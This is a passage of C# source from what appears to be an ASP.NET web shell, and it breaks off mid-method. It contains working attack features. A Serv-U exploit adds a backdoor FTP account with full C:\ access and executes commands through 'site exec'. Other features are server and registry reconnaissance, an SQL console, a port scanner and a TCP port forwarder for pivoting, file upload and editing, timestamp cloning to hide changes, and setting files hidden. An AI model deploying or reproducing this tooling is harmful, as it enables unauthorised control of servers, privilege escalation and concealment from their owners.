			Bin_Div_Data.Visible=false;
			Bin_Div_Userinfo.Visible=true;
			Bin_H2_Title.InnerText="User Information >>";
			DataTable user=Bin_WmiDataTable("Win32_UserAccount");
			for(int i=0;i < user.Rows.Count;i++)
			{
				for(int j=0;j < user.Columns.Count;j++)
				{
					string bg=Bin_Css();
					TableRow tr=new TableRow();
					tr.Attributes["onmouseover"]="this.className='focus';";
					tr.CssClass=bg;
					tr.Attributes["onmouseout"]="this.className='"+bg+"';";
					TableCell td=new TableCell();
					td.Text=user.Columns[j].ToString();
					tr.Controls.Add(td);
					TableCell td1=new TableCell();
					td1.Text=user.Rows[i][j].ToString();
					tr.Controls.Add(td1);
					Bin_Table_User.Controls.Add(tr);
				}
				TableRow trn=new TableRow();
				for(int x=1;x < 3;x++)
				{
					TableCell tdn=new TableCell();
					tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
					trn.Controls.Add(tdn);
					Bin_Table_User.Controls.Add(trn);
				}					
			}
		}
		catch(Exception error)
		{
			Bin_UserInfo();
		}
	}
	public void Bin_Sysinfo()
	{
		try
		{
			RegistryKey key_ts=Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp");
			string tsport=GetRegValue(key_ts,"PortNumber");
			RegistryKey key_cpu=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor");
			int cpu=key_cpu.SubKeyCount;
			RegistryKey key_cpuinfo=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor\0\");
			string cpuver=GetRegValue(key_cpuinfo,"ProcessorNameString");
			Bin_Div_Sysinfo.Visible=true;
			Bin_Div_File.Visible=false;
			Bin_Div_Cmd.Visible=false;
			Bin_Div_Reg.Visible=false;
			Bin_Div_SuExp.Visible=false;		
			Bin_Div_PortScan.Visible=false;
			Bin_Div_Data.Visible=false;
			Bin_Div_PortMap.Visible=false;
			Bin_H2_Title.InnerText="System Information >>";
			Bin_H2_Mac.InnerText="MAC Information >>";
			Bin_H2_Driver.InnerText="Driver Information >>";
			StringBuilder s_inf=new StringBuilder();
			StringBuilder s_netconfig=new StringBuilder();
			StringBuilder s_driver=new StringBuilder();
			s_inf.Append("<li><u>Server Domain : </u>"+Request.ServerVariables["SERVER_NAME"]+"</li>");
			s_inf.Append("<li><u>Server Ip : </u>"+Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"</li>");
			s_inf.Append("<li><u>Terminal Port : </u>"+tsport+"</li>");
			s_inf.Append("<li><u>Server OS : </u>"+Environment.OSVersion+"</li>");
			s_inf.Append("<li><u>Server Software : </u>"+Request.ServerVariables["SERVER_SOFTWARE"]+"</li>");
			s_inf.Append("<li><u>Server UserName : </u>"+Environment.UserName+"</li>");
			s_inf.Append("<li><u>Server Time : </u>"+System.DateTime.Now.ToString()+"</li>");
			s_inf.Append("<li><u>Server TimeZone : </u>"+Bin_WmiDataTable("Win32_TimeZone").Rows[0]["Caption"]+"</li>");
			DataTable BIOS=Bin_WmiDataTable("Win32_BIOS");
			s_inf.Append("<li><u>Server BIOS : </u>"+BIOS.Rows[0]["Manufacturer"]+" : "+BIOS.Rows[0]["Name"]+"</li>");
			s_inf.Append("<li><u>CPU Count : </u>"+cpu.ToString()+"</li>");
			s_inf.Append("<li><u>CPU Version : </u>"+cpuver+"</li>");
			DataTable Memory=Bin_WmiDataTable("Win32_PhysicalMemory");
			Int64 Memoryall=0;
			for(int i=0;i < Memory.Rows.Count;i++)
			{
				Memoryall += Int64.Parse(Memory.Rows[0]["Capacity"].ToString());
			}
			s_inf.Append("<li><u>Server Memory : </u>"+Bin_FileSize(Memoryall)+"</li>");
			DataTable NetConfig=Bin_WmiDataTable("Win32_NetworkAdapterConfiguration");
			for(int i=0;i < NetConfig.Rows.Count;i++)
			{
				s_netconfig.Append("<li><u>Server MAC"+i+" : </u>"+NetConfig.Rows[i]["Caption"]+"</li>");
				if(NetConfig.Rows[i]["MACAddress"]!=string.Empty)
				{
					s_netconfig.Append("<li style=\"list-style:none;\"><u>Address : </u>"+NetConfig.Rows[i]["MACAddress"]+"</li>");
				}
			}
			DataTable Driver=Bin_WmiDataTable("Win32_SystemDriver");
			for(int i=0;i < Driver.Rows.Count;i++)
			{
				s_driver.Append("<li><u>Server Driver"+i+" : </u>"+Driver.Rows[i]["Caption"]+"</li>");
				if(Driver.Rows[i]["PathName"]!=string.Empty)
				{
					s_driver.Append("<listyle=\"list-style:none;\"><u>Path : </u>"+Driver.Rows[i]["PathName"]+"</li>");
				}
			}
			Bin_Ul_Sys.InnerHtml=s_inf.ToString();
			Bin_Ul_NetConfig.InnerHtml=s_netconfig.ToString();
			Bin_Ul_Driver.InnerHtml=s_driver.ToString();
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
	}
	public void Bin_Su()
	{
		Bin_Div_SuExp.Visible=true;
		Bin_Div_File.Visible=false;
		Bin_Div_Cmd.Visible=false;
		Bin_Div_Reg.Visible=false;	
		Bin_Div_PortScan.Visible=false;
		Bin_Div_Data.Visible=false;
		Bin_Div_PortMap.Visible=false;
		Bin_H2_Title.InnerText="Serv-U Exec >>";
	}
	public void Bin_SuExp()
	{
		string Result=string.Empty;
		string user=Bin_TextBox_Suadmin.Value;
		string pass=Bin_TextBox_Supass.Value;
		int port=Int32.Parse(Bin_TextBox_Suport.Value);
		string cmd=Bin_TextBox_Sucmd.Value;
		string loginuser="user "+user+"\r\n";
		string loginpass="pass "+pass+"\r\n";
		string site="SITE MAINTENANCE\r\n";
		string deldomain="-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
		string setdomain="-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
		string newdomain="-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
		string quite="QUIT\r\n";
		Bin_Div_Sures.Visible=true;
		try
		{
			tcp.Connect("127.0.0.1",port);
			tcp.ReceiveBufferSize=1024;
			NS=tcp.GetStream();
			Rev(NS);
			Send(NS,loginuser);
			Rev(NS);
			Send(NS,loginpass);
			Rev(NS);
			Send(NS,site);
			Rev(NS);
			Send(NS,deldomain);
			Rev(NS);
			Send(NS,setdomain);
			Rev(NS);
			Send(NS,newdomain);
			Rev(NS);
			Bin_Td_Res.InnerHtml += "<font color=\"green\"><b>Exec Cmd.................\r\n</b></font>";
			tcp1.Connect("127.0.0.1",52521);
			NS1=tcp1.GetStream();
			Rev(NS1);
			Send(NS1,"user bin\r\n");
			Rev(NS1);
			Send(NS1,"pass binftp\r\n");
			Rev(NS1);
			Send(NS1,"site exec "+cmd+"\r\n");
			Rev(NS1);
			Send(NS1,"quit\r\n");
			Rev(NS1);
			tcp1.Close();
			Send(NS,deldomain);
			Rev(NS);
			tcp.Close();
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
	}
	protected void Rev(NetworkStream instream)
	{
		string Restr=string.Empty;
		if(instream.CanRead)
		{
			byte[] buffer=new byte[1024];
			do
			{
				System.Threading.Thread.Sleep(50);
				int len=instream.Read(buffer,0,buffer.Length);
				Restr += Encoding.Default.GetString(buffer,0,len);
			}
			while(instream.DataAvailable);
		}
		
		Bin_Td_Res.InnerHtml += "<font color=red>"+Restr.Replace("\0","")+"</font>";	
	}
	protected void Send(NetworkStream instream,string Sendstr)
	{
		if(instream.CanWrite)
		{
			byte[] buffer=Encoding.Default.GetBytes(Sendstr);
			instream.Write(buffer,0,buffer.Length);
		}
		Bin_Td_Res.InnerHtml += "<font color=blue>"+Sendstr+"</font>";
	}
	public void Bin_Reg()
	{
		Bin_Div_Reg.Visible=true;
		Bin_Div_File.Visible=false;
		Bin_Div_Cmd.Visible=false;
		Bin_Div_SuExp.Visible=false;	
		Bin_Div_PortScan.Visible=false;
		Bin_Div_Data.Visible=false;
		Bin_Div_PortMap.Visible=false;
		Bin_H2_Title.InnerText="RegShell >>";
		
		string RootKeys=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
		Bin_Regroot_Href.Text="";
		foreach(string rootkey in RootKeys.Split('|'))		
		{
			Bin_Regroot_Href.Text+="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(rootkey)+"')\">"+rootkey+"</a> | ";
		}
		RegInit();
	}
	protected void RegInit()
	{
		Bin_Text_Regread.Text="";
		string RootKeys=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
		TableRow tr;
		TableCell tc;
		foreach(string rootkey in RootKeys.Split('|'))		
		{
			tr=new TableRow();
			tc=new TableCell();
			string bg=Bin_Css();
			tr.Attributes["onmouseover"]="this.className='focus';";
			tr.CssClass=bg;
			tr.Attributes["onmouseout"]="this.className='"+bg+"';";
			tc.Width=Unit.Parse("40%");
			tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(rootkey)+"')\">"+rootkey+"</a>";
			tr.Cells.Add(tc);
			tc=new TableCell();
			tc.Width=Unit.Parse("60%");
			tc.Text="&lt;RootKey&gt;";
			tr.Cells.Add(tc);
			Bin_Table_Reg.Rows.Add(tr);
		}
	}
	
	protected void Bin_ShowReg(string Reg_Path)
	{
		if(!Reg_Path.EndsWith("\\"))
		{
			Reg_Path=Reg_Path+"\\";
		}
		Bin_Text_Regread.Text=Reg_Path;		
		string ParPath=Regex.Replace(Reg_Path,@"\\[^\\]+\\?$","");
		ParPath=Regex.Replace(ParPath,@"\\+","\\");
		TableRow tr=new TableRow();				
		TableCell tc=new TableCell();
		string bg=Bin_Css();
		tr.Attributes["onmouseover"]="this.className='focus';";
		tr.CssClass=bg;
		tr.Attributes["onmouseout"]="this.className='"+bg+"';";
		tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(ParPath)+"')\">Parent Key</a>";
		tc.Attributes["colspan"]="2" ;
		tr.Cells.Add(tc);
		Bin_Table_Reg.Rows.Add(tr);
		try
		{
			string subpath;
			string strSubkey=Reg_Path.Substring(Reg_Path.IndexOf("\\")+1,Reg_Path.Length-Reg_Path.IndexOf("\\")-1);
			RegistryKey rk=null;
			RegistryKey sk;
			if(Reg_Path.StartsWith("HKEY_LOCAL_MACHINE"))
			{
				rk=Registry.LocalMachine;
			}
			else if(Reg_Path.StartsWith("HKEY_CLASSES_ROOT"))
			{
				rk=Registry.ClassesRoot;
			}
			else if(Reg_Path.StartsWith("HKEY_CURRENT_USER"))
			{
				rk=Registry.CurrentUser;
			}
			else if(Reg_Path.StartsWith("HKEY_USERS"))
			{
				rk=Registry.Users;
			}
			else if(Reg_Path.StartsWith("HKEY_CURRENT_CONFIG"))
			{
				rk=Registry.CurrentConfig;
			}
			if(strSubkey.Length>1)
			{
				sk=rk.OpenSubKey(strSubkey);
			}
			else
			{
				sk=rk;
			}
			foreach(string innerSubKey in sk.GetSubKeyNames())
			{
				tr=new TableRow();
				tc=new TableCell();
				bg=Bin_Css();
				tr.Attributes["onmouseover"]="this.className='focus';";
				tr.CssClass=bg;
				tr.Attributes["onmouseout"]="this.className='"+bg+"';";
				tc.Width=Unit.Parse("40%");
				tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(Reg_Path+innerSubKey)+"')\">"+innerSubKey+"</a>";
				tr.Cells.Add(tc);
				tc=new TableCell();
				tc.Width=Unit.Parse("60%");
				tc.Text="&lt;SubKey&gt;";
				tr.Cells.Add(tc);
				Bin_Table_Reg.Rows.Add(tr);
			}
			TableRow intr=new TableRow();
			intr.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
			intr.Attributes["bgcolor"]="#dddddd";
			TableCell intc=new TableCell();
			intc.Attributes["colspan"]="2" ;
			intc.Attributes["height"]="5";
			intr.Cells.Add(intc);
			Bin_Table_Reg.Rows.Add(intr);
			foreach(string strValueName in sk.GetValueNames())
			{
				tr=new TableRow();
				tc=new TableCell();
				bg=Bin_Css();
				tr.Attributes["onmouseover"]="this.className='focus';";
				tr.CssClass=bg;
				tr.Attributes["onmouseout"]="this.className='"+bg+"';";
				tc.Width=Unit.Parse("40%");
				tc.Text=strValueName;
				tr.Cells.Add(tc);
				tc=new TableCell();
				tc.Width=Unit.Parse("60%");
				tc.Text=GetRegValue(sk,strValueName);
				tr.Cells.Add(tc);
				Bin_Table_Reg.Rows.Add(tr);
			}
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
	}
	public string GetRegValue(RegistryKey sk,string strValueName)
	{
		object buffer;
		string regstr="";
		try
		{
			buffer=sk.GetValue(strValueName,"NULL");
			if(buffer.GetType()==typeof(byte[]))
			{
				foreach(byte tmpbyte in(byte[])buffer)
				{
					if((int)tmpbyte<16)
					{
						regstr+="0";
					}
					regstr+=tmpbyte.ToString("X");
				}
			}
			else
			{
				regstr=buffer.ToString();
			}
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
		return regstr;
	}
	public void Bin_PortScan()
	{
		Bin_Div_PortScan.Visible=true;
		Bin_Div_File.Visible=false;
		Bin_Div_Cmd.Visible=false;
		Bin_Div_SuExp.Visible=false;
		Bin_Div_Reg.Visible=false;
		Bin_Div_Data.Visible=false;
		Bin_Div_PortMap.Visible=false;
		Bin_H2_Title.InnerText="PortScan >>";
	}
	public void Bin_DataBase()
	{
		Bin_Div_Data.Visible=true;
		Bin_Div_File.Visible=false;
		Bin_Div_Cmd.Visible=false;
		Bin_Div_SuExp.Visible=false;
		Bin_Div_Reg.Visible=false;
		Bin_Div_PortScan.Visible=false;
		Bin_Div_PortMap.Visible=false;
		Bin_Div_PortScan.Visible=false;
		Bin_Div_DBPanel.Visible=false;
		Bin_H2_Title.InnerText="DataBase >>";
	}
	protected void OpenConnection()
	{
		if(conn.State==ConnectionState.Closed)
		{
			try
			{
				conn.ConnectionString=Bin_TextBox_ConnStr.Text;
				comm.Connection=conn;
				conn.Open();
			}
			catch(Exception Error)
			{
				Bin_Msg(Error.Message);
			}
		}
	}
	protected void CloseConnection()
	{
		if(conn.State==ConnectionState.Open)
			conn.Close();
		conn.Dispose();
		comm.Dispose();
	}
	public DataTable Bin_DataTable(string sqlstr)
	{
		OleDbDataAdapter da=new OleDbDataAdapter();
		DataTable datatable=new DataTable();
		try
		{
			OpenConnection();
			comm.CommandType=CommandType.Text;
			comm.CommandText=sqlstr;
			da.SelectCommand=comm;
			da.Fill(datatable);
		}
		catch(Exception)
		{
		}
		finally
		{
			CloseConnection();
		}
		return datatable;
	}
	public DataTable[] Bin_Data(string query)
	{	
		ArrayList list=new ArrayList();
		try
		{
			string str;
			OpenConnection();
			query=query+"\r\n";
			MatchCollection matchs=new Regex("[\r\n][gG][oO][\r\n]").Matches(query);
			int startIndex=0;
			for(int i=0;i < matchs.Count;i++)
			{
				Match match=matchs[i];
				str=query.Substring(startIndex,match.Index - startIndex);
				if(str.Trim().Length > 0)
				{
					OleDbDataAdapter adapter=new OleDbDataAdapter();
					comm.CommandType=CommandType.Text;
					comm.CommandText=str.Trim();
					adapter.SelectCommand=comm;
					DataSet dataSet=new DataSet();
					adapter.Fill(dataSet);
					for(int j=0;j < dataSet.Tables.Count;j++)
					{
						list.Add(dataSet.Tables[j]);
					}
				}
				startIndex=match.Index+3;
			}
			str=query.Substring(startIndex,query.Length - startIndex);
			if(str.Trim().Length > 0)
			{
				OleDbDataAdapter adapter2=new OleDbDataAdapter();
				comm.CommandType=CommandType.Text;
				comm.CommandText=str.Trim();
				adapter2.SelectCommand=comm;
				DataSet set2=new DataSet();
				adapter2.Fill(set2);
				for(int k=0;k < set2.Tables.Count;k++)
				{
					list.Add(set2.Tables[k]);
				}
			}
		}
		catch(SqlException e)
		{
			Bin_Msg(e.Message);
			Bin_DataGrid.Visible=false;
		}
		return(DataTable[])list.ToArray(typeof(DataTable));
	}
	
	public void Bin_ExecSql(string instr)
	{
		try
		{
			OpenConnection();
			comm.CommandType=CommandType.Text;
			comm.CommandText=instr;
			comm.ExecuteNonQuery();
		}
		catch(Exception e)
		{
			Bin_Msg(e.Message);
		}
	}
	public void Bin_ExecBind()
	{
		try
		{
			OpenConnection();
			if(Bin_List_Connstr.SelectedItem.Text=="MSSQL")
			{
				if(Bin_List_DB.SelectedItem.Value!="")
				{
					conn.ChangeDatabase(Bin_List_DB.SelectedItem.Value.ToString());
				}
			}
			DataTable[] tables=null;
			tables=Bin_Data(Bin_Textarea_Query.InnerText);
			if(tables!=null && tables.Length > 0)
			{
				for(int j=0;j < tables.Length;j++)
				{
					Bin_DataGrid.PreRender += new EventHandler(DataGrid_PreRender);
					Bin_DataGrid.DataSource=tables[j];
					Bin_DataGrid.DataBind();
					for(int i=0;i < Bin_DataGrid.Items.Count;i++)
					{
						string bg=Bin_Css();
						Bin_DataGrid.Items[i].CssClass=bg;
						Bin_DataGrid.Items[i].Attributes["onmouseover"]="this.className='focus';";
						Bin_DataGrid.Items[i].Attributes["onmouseout"]="this.className='"+bg+"';";
					}
				}
			}
			else
			{
				Bin_DataGrid.DataSource=null;
				Bin_DataGrid.DataBind();
			}	
			Bin_DataGrid.Visible=true;
		}
		catch(Exception e)
		{
			Bin_Msg(e.Message);
			Bin_DataGrid.Visible=false;
		}		
	}
	public void Bin_DataBind()
	{
		try
		{
			if(Bin_List_Connstr.SelectedItem.Text=="MSSQL")
			{
				if(Bin_List_DB.SelectedItem.Value=="")
				{
					Bin_DataGrid.DataSource=null;
					Bin_DataGrid.DataBind();
					return;
				}
			}
			OpenConnection();
			DataTable systable=new DataTable();
			DataTable tables=new DataTable();
			DataTable newtable=new DataTable();
			if(Bin_List_Connstr.SelectedItem.Text=="MSSQL" && Bin_List_DB.SelectedItem.Value!="")
			{
				conn.ChangeDatabase(Bin_List_DB.SelectedItem.Text);
			}
			systable=conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables,new Object[] { null,null,null,"SYSTEM TABLE" });
			tables=conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables,new Object[] { null,null,null,"TABLE" });
			foreach(DataRow dr in systable.Rows)
			{
				tables.ImportRow(dr);
			}
			tables.Columns.Remove("TABLE_CATALOG");tables.Columns.Remove("TABLE_SCHEMA");tables.Columns.Remove("DESCRIPTION");tables.Columns.Remove("TABLE_PROPID");
			Bin_DataGrid.PreRender += new EventHandler(DataGrid_PreRender);
			Bin_DataGrid.DataSource=tables;
			Bin_DataGrid.DataBind();
			for(int i=0;i < Bin_DataGrid.Items.Count;i++)
			{
				string bg=Bin_Css();
				Bin_DataGrid.Items[i].CssClass=bg;
				Bin_DataGrid.Items[i].Attributes["onmouseover"]="this.className='focus';";
				Bin_DataGrid.Items[i].Attributes["onmouseout"]="this.className='"+bg+"';";
			}
			Bin_DataGrid.Visible=true;
		}
		catch(Exception e)
		{
			Bin_Msg(e.Message);
			Bin_DataGrid.Visible=false;
		}
	}
	private void DataGrid_PreRender(object sender,EventArgs e)
	{
		DataGrid d=(DataGrid)sender;
		foreach(DataGridItem item in d.Items)
		{
			foreach(TableCell t in item.Cells)
			{
				// t.Text=Server.HtmlEncode(t.Text);
				t.Text=t.Text.Replace("<","&lt;").Replace(">","&gt;");
			}
		}
	}
	public void Bin_Newconn()
	{
		
		Bin_Div_DBPanel.Visible=true;
		try
		{
			Bin_Textarea_Query.InnerHtml=string.Empty;
			if(Bin_List_Connstr.SelectedItem.Text=="MSSQL")
			{
				Bin_DataGrid.Visible=false;
				Bin_Div_Dblist.Visible=true;
				Bin_Div_Dbinfo.Visible=true;
				OpenConnection();
				DataTable ver=Bin_DataTable(@"SELECT @@VERSION");
				DataTable dbs=Bin_DataTable(@"SELECT name FROM master.dbo.sysdatabases");
				DataTable cdb=Bin_DataTable(@"SELECT DB_NAME()");
				DataTable rol=Bin_DataTable(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
				DataTable owner=Bin_DataTable(@"SELECT IS_MEMBER('db_owner')");
				string verstr=ver.Rows[0][0].ToString();
				string dbo=string.Empty;
				if(owner.Rows[0][0].ToString()=="1")
				{
					dbo="db_owner";
				}
				else
				{
					dbo="public";
				}
				if(rol.Rows[0][0].ToString()=="1")
				{
					dbo="<font color=blue>sa</font>";
				}
				string db_name=string.Empty;
				foreach(ListItem item in Bin_List_Exec.Items)
				{
					if(item.Selected=true)
					{
						item.Selected=false;
					}
				}
				
				Bin_List_DB.Items.Clear();
				Bin_List_DB.Items.Add("-- Select a DataBase --");
				Bin_List_DB.Items[0].Value="";
				for(int i=0;i < dbs.Rows.Count;i++)
				{
					db_name += dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(),"<font color=blue>"+cdb.Rows[0][0].ToString()+"</font>")+"&nbsp;|&nbsp;";

					Bin_List_DB.Items.Add(dbs.Rows[i][0].ToString());
				}
				Bin_Div_Dbinfo.InnerHtml="<p><font color=red>MSSQL Version</font> : <i><b>"+verstr+"</b></i></p><p><font color=red>SrvRoleMember</font> : <i><b>"+dbo+"</b></i></p>";
			}
			else
			{		
				Bin_Div_Dblist.Visible=false;
				Bin_Div_Dbinfo.Visible=false;
				Bin_DataBind();
			}
		}
		catch(Exception e)
		{
			//Bin_Msg(e.Message);
			Bin_Div_DBPanel.Visible=false;
		}
	}
	public void Bin_PortMap()
	{
		Bin_Div_PortMap.Visible=true;
		Bin_Div_File.Visible=false;
		Bin_Div_Cmd.Visible=false;
		Bin_Div_SuExp.Visible=false;
		Bin_Div_Reg.Visible=false;
		Bin_Div_PortScan.Visible=false;
		Bin_Div_Data.Visible=false;
		Bin_H2_Title.InnerText="PortMap >>";
	}
	public class PortForward
	{
		public static string Laddress;
		public static int LPort;
		public static string ForwardAddress;
		public static int Port;
		TcpClient ltcpClient;
		TcpClient ftcpClient;
		NetworkStream lclientStream;
		NetworkStream fclientStream;
		Thread readthread;
		Thread writethread;
		public static void Start(string lip,int lport,string Fip,int fport)
		{
			LPort=lport;
			ForwardAddress=Fip;
			Port=fport;
			Laddress=lip;
			new PortForward();
		}
		public PortForward()
		{
			ltcpClient=new TcpClient(Laddress,LPort);
			lclientStream=ltcpClient.GetStream();
			ftcpClient=new TcpClient(ForwardAddress,Port);
			fclientStream=ftcpClient.GetStream();
			readthread=new Thread(new ThreadStart(Read));
			readthread.Start();
			writethread=new Thread(new ThreadStart(Write));
			writethread.Start();
		}
		public static bool iSabort=false;
		void Read()
		{
			while(!iSabort)
			{
				int read=fclientStream.ReadByte();
				if(read==-1)
					break;
				lclientStream.WriteByte((byte)read);
			}
			writethread.Abort();
		}
		void Write()
		{
			while(!iSabort)
			{
				int read=lclientStream.ReadByte();
				if(read==-1)
					break;
				fclientStream.WriteByte((byte)read);
			}
			readthread.Abort();
		}
	}
	protected void Pagestart()
	{
		PortForward.Start(Bin_DNS2IP(Bin_TextBox_Rip.Value),int.Parse(Bin_TextBox_Rport.Value),Bin_DNS2IP(Bin_TextBox_Lip.Value),Int32.Parse(Bin_TextBox_Lport.Value));
	}
	public string Bin_DNS2IP(string instr)
	{
		string tmp=null;
		try
		{
			tmp =System.Net.Dns.Resolve(instr).AddressList[0].ToString();
		}
		catch(Exception e)
		{
					
		}
		return tmp;
	}
	public void Bin_Scan()
	{
		string[] ports=Bin_TextBox_Sport.Text.ToString().Split(',');
		for(int i=0;i < ports.Length;i++)
		{
			ScanResults.Add(new ScanPort(Bin_DNS2IP(Bin_TextBox_Sip.Text.ToString()),Int32.Parse(ports[i])));
		}
		try
		{
			Thread[] lThreads=new Thread[ScanResults.Count];
			int lIdx=0;
			for(lIdx=0;lIdx < ScanResults.Count;lIdx++)
			{
				lThreads[lIdx]=new Thread(new ThreadStart(((ScanPort)ScanResults[lIdx]).Scan));
				lThreads[lIdx].Start();
			}

			for(lIdx=0;lIdx < lThreads.Length;lIdx++)
				lThreads[lIdx].Join();
		}
		catch
		{
			
		}
	}
	public class ScanPort
	{
		private string _ip="";
		private int _port=0;
		private TimeSpan _timeSpent;
		private string _status="Not scanned";
		public string ip
		{
			get { return _ip;}
		}
		public int port
		{
			get { return _port;}
		}
		public string status
		{
			get { return _status;}
		}
		public TimeSpan timeSpent
		{
			get { return _timeSpent;}
		}
		public ScanPort(string ip,int port)
		{
			_ip=ip;
			_port=port;
		}
		public void Scan()
		{
			TcpClient scanningIpPort=new TcpClient();
			DateTime lStarted=DateTime.Now;
			try
			{
				scanningIpPort.Connect(_ip,_port);
				scanningIpPort.Close();
				_status="<font color=green><b>Open</b></font>";
			}
			catch
			{
				_status="<font color=red><b>Close</b></font>";
			}
			_timeSpent=DateTime.Now.Subtract(lStarted);
		}
	}
	public static void JscriptSender(System.Web.UI.Page page)
	{
		page.RegisterHiddenField("__EVENTTARGET","");
		page.RegisterHiddenField("__FILE","");
		string s=@"<script language=Javascript>";
		s += @"function Bin_PostBack(eventTarget,eventArgument)";
		s += @"{";
		s += @"var theform=document.forms[0];";
		s += @"theform.__EVENTTARGET.value=eventTarget;";
		s += @"theform.__FILE.value=eventArgument;";
		s += @"theform.submit();";
		s += @"} ";
		s += @"</scr"+"ipt>";
		page.RegisterStartupScript("",s);
	}
	public void Bin_Msg(string instr)
	{
		Bin_Div_Msg.Visible=true;
		Bin_Div_Msg.InnerText=instr;
	}	
	// BUTTON EVENT
	protected void Bin_Button_Login_Click(object sender,EventArgs e)
	{
		string MD5Pass=FormsAuthentication.HashPasswordForStoringInConfigFile(Bin_TextBox_Login.Text,"MD5").ToLower();
		if(MD5Pass==Password)
		{
			Response.Cookies.Add(new HttpCookie(CookieName,Password));
			Bin_Div_Login.Visible=false;
			Bin_Main();
			Bin_TextBox_Path.Value=Bin_PathBuild(Server.MapPath("."));
			Bin_File(Server.MapPath("."));		
		}
		else
		{
			Bin_Login();
		}
	}
	protected void Bin_Button_File_Click(object sender,EventArgs e)
	{
		Bin_File(Server.MapPath("."));		
	}
	protected void Bin_Button_IISspy_Click(object sender,EventArgs e)
	{
		Bin_H2_Title.InnerText="IIS Spy >>";
		Bin_Div_IISSpy.Visible=true;
		Bin_Div_File.Visible=false;
		Bin_Div_Cmd.Visible=false;
		Bin_Div_Reg.Visible=false;
		Bin_Div_SuExp.Visible=false;	
		Bin_Div_Data.Visible=false;
		Bin_Div_PortScan.Visible=false;
		Bin_Div_PortMap.Visible=false;
		Bin_IISSpy();	
	}
	protected void Bin_Button_Save_Click(object sender,EventArgs e)
	{
		try
		{
			StreamWriter sw=new StreamWriter(Bin_TextBox_Fp.Value,false,Encoding.Default);
			sw.Write(Bin_Textarea_Edit.InnerHtml);
			sw.Close();
			Bin_Msg("Save file success !");
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
		Bin_File(Bin_TextBox_Path.Value);
	}
	protected void Bin_Button_Upload_Click(object sender,EventArgs e)
	{
		string uppath=Bin_TextBox_Path.Value;
		uppath=Bin_PathBuild(uppath);
		try
		{
			Bin_Lable_File.PostedFile.SaveAs(uppath+Path.GetFileName(Bin_Lable_File.Value));
			Bin_Msg("File upload success!");
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
		Bin_File(Bin_TextBox_Path.Value);
	}
	protected void Bin_Button_Go_Click(object sender,EventArgs e)
	{
		Bin_File(Bin_TextBox_Path.Value);
	}
	protected void Bin_Button_WebRoot_Click(object sender,EventArgs e)
	{
		Bin_File(Server.MapPath("."));
	}
	protected void Bin_Button_Driv_Command(object sender,CommandEventArgs e)
	{
		Bin_File(e.CommandArgument.ToString());
	}
	protected void Bin_Button_Clone_Click(object sender,EventArgs e)
	{
		try
		{
			File.SetCreationTimeUtc(Bin_TextBox_Sp.Value,File.GetCreationTimeUtc(Bin_TextBox_Dp.Value));
			File.SetLastAccessTimeUtc(Bin_TextBox_Sp.Value,File.GetLastAccessTimeUtc(Bin_TextBox_Dp.Value));
			File.SetLastWriteTimeUtc(Bin_TextBox_Sp.Value,File.GetLastWriteTimeUtc(Bin_TextBox_Dp.Value));
			Bin_Msg("File time clone success!");	
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
		Bin_File(Bin_TextBox_Path.Value);
	}
	protected void Bin_Button_Att_Click(object sender,EventArgs e)
	{
		string path=Bin_TextBox_Sp1.Value;
		try 
		{
			File.SetAttributes(path,FileAttributes.Normal);
			if(Bin_CheckBox_ReadOnly.Checked)
			{
				File.SetAttributes(path,FileAttributes.ReadOnly);
			}
			if(Bin_CheckBox_System.Checked)
			{
				File.SetAttributes(path,File.GetAttributes(path) | FileAttributes.System);
			}
			if(Bin_CheckBox_Hiddent.Checked)
			{
				File.SetAttributes(path,File.GetAttributes(path) | FileAttributes.Hidden);
			}
			if(Bin_CheckBox_Archive.Checked)
			{
				File.SetAttributes(path,File.GetAttributes(path) | FileAttributes.Archive);
			}
